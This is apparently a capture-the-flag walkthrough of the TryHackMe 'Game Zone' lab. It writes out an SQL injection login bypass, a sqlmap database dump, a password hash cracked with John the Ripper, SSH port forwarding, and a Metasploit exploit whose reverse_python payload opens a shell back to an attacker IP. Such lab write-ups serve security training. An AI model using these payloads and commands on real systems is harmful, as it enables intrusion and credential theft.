> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/game-zone.md).

# Game Zone

**Room Link:** <https://tryhackme.com/room/gamezone>

### **Obtain access via SQLi**

Username field was vulnerable to SQLi,

```
Username: ' or 1=1 -- -
Password: anything
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6FAC3BieX29CCHXxlria%2Fimage.png?alt=media&amp;token=38791415-3532-46fe-907c-8c003e7f44dc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUheRZz5W1jPveUYjR9oC%2Fimage.png?alt=media&amp;token=de9fe1e2-13ac-4a64-a8ac-6f42d222046d" alt=""><figcaption></figcaption></figure>

### **Using SQLMap**

I setup burp to intercept requests and then tried searching for something on the portal page

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fc1fMpue2eY3VuGYNcyZ8%2Fimage.png?alt=media&amp;token=114e3ce8-89fa-4710-8853-643e43139083" alt=""><figcaption></figcaption></figure>

Saved the request into a file called request.txt, if you highlight everything and right click you can copy to file

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fjxyy7cprR3LyBUzWKbby%2Fimage.png?alt=media&amp;token=4c41d3d3-4130-4ee1-a973-63da22b90564" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FZceTih87osc7Xz3tmZUV%2Fimage.png?alt=media&amp;token=2e4e9a40-6210-4c36-815a-270db113d6f9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FH49xTff1agPFzHpNQESy%2Fimage.png?alt=media&amp;token=cbe3b77e-fe66-4cfb-9d51-f7b7cfba303f" alt=""><figcaption></figcaption></figure>

```
sqlmap -r request.txt --dbms=mysql --dump
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjFAkRBmljwBUj691Fxux%2Fimage.png?alt=media&amp;token=390136c7-31b1-4f0c-8415-8fd00dc6cb85" alt=""><figcaption></figcaption></figure>

**In the users table, what is the hashed password?**

ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14

**What was the username associated with the hashed password?**

agent47

**What was the other table name?**

post

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FS3kXF14UWrsU55WPdBSp%2Fimage.png?alt=media&amp;token=2a8ffe83-7bb1-4401-8629-3dd5a0350135" alt=""><figcaption></figcaption></figure>

### **Cracking a password with JohnTheRipper**

Used the following site to idenfitfy what the hash type was. It identified that it is SHA2-256.

**Hash Analyzer:** <https://www.tunnelsup.com/hash-analyzer/>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5IqPMym6U7BbbXBE6aWw%2Fimage.png?alt=media&amp;token=94340d51-c075-454c-bc59-2bd9efee9e3a" alt=""><figcaption></figcaption></figure>

**What is the de-hashed password?**

john was able to crack the hash ehich gave us the password videogamer124.

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-SHA256
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FeyEuP18gqkI0vKKUGwE5%2Fimage.png?alt=media&amp;token=0671e0be-f214-41f2-a828-e2e7185a1fdb" alt=""><figcaption></figcaption></figure>

```
ssh agent47@10.10.74.145
Password: videogamer124
```

\
**Now you have a password and username. Try SSH'ing onto the machine. What is the user flag?**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1UYsD4eck2xOf0KUKI3L%2Fimage.png?alt=media&amp;token=46eb8191-c794-4b89-9350-1a8c383d7bc1" alt=""><figcaption></figcaption></figure>

**Exposing services with reverse SSH tunnels**

**How many TCP sockets are running?**

```
ss -tulpn
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fz5vXcIopjdZY2yywDqFk%2Fimage.png?alt=media&amp;token=00947e3b-0329-4029-a4af-acd23405706a" alt=""><figcaption></figcaption></figure>

**What is the name of the exposed CMS?**

```
ssh -L 10000:localhost:10000 agent47@10.10.74.145
Password: videogamer124
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6zK4soI9DkgzKgsqsdSy%2Fimage.png?alt=media&amp;token=24a81360-a59a-4d90-9747-521fdbd42740" alt=""><figcaption></figcaption></figure>

**What is the CMS version?**

I was able to login with the previous credentials found and find the CMS version.

```
Username: agent47
Password: videogamer124
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5ZWEqlXSJ9MEfSqJtKt0%2Fimage.png?alt=media&amp;token=9cb9ab8a-5bb8-486e-bc99-9d5a843620db" alt=""><figcaption></figcaption></figure>

### **Privilege Escalation with Metasploit**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXEVzSroKSpCvjQJlUXNh%2Fimage.png?alt=media&amp;token=9f4c3ee9-ab92-45ef-861d-de8b116cbc48" alt=""><figcaption></figcaption></figure>

```
msfconsole
search 1.580
use 1
set USERNAME agent47
set PASSWORD videogamer124
set RHOSTS 127.0.0.1
set ssl false 

set payload cmd/unix/reverse_python
set lhost 10.10.108.150
set lport 443
exploit
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Flk7GzqLHRU7GhZQwgGbo%2Fimage.png?alt=media&amp;token=23d85daf-be3b-4d49-9db4-7e83b6bb6e22" alt=""><figcaption></figcaption></figure>
